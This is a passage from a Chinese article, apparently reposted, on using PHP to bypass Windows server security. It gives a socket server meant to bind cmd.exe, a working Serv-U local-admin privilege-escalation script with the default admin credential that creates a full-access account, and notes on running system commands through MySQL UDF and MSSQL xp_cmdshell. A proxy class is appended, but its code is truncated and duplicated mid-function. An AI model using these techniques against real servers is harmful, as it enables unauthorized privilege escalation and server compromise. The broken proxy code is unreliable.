5、socket()函数的应用
socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“PHP_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在PHP.ini这样设置:
;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去掉以下一句最前边的分号
;extension=PHP_sockets.dll
使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:
//在服务器上构造TCP服务
//该例子需要PHP_sockets.dll的支持
//执行后便可使用” telnet 127.0.0.1 1020”连接
error_reporting(E_ALL);
/* Allow the script to hang around waiting for connections. */
set_time_limit(0);
/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();
//在服务器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";
//以下处理接受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat –an”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/
} while (true);
socket_close($msgsock);
} while (true);
socket_close($sock);
?>
事实上,很多主机都是没有加载PHP_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
//可以写入$shellcode
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>
还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。
6、MYSQL/MSSQL接口
不同于Linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。
在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。
总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!
后面附上proxy.PHP的代码
error_reporting(E_ALL);
/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}
class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;
function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/XML,application/XML,application/xHTML+XML,text/HTML;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}
$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/XML,application/XML,application/xHTML+XML,text/HTML;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}
$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';
做人要厚道,请注明转自酷网动力(www.ASPCOOL.COM)。

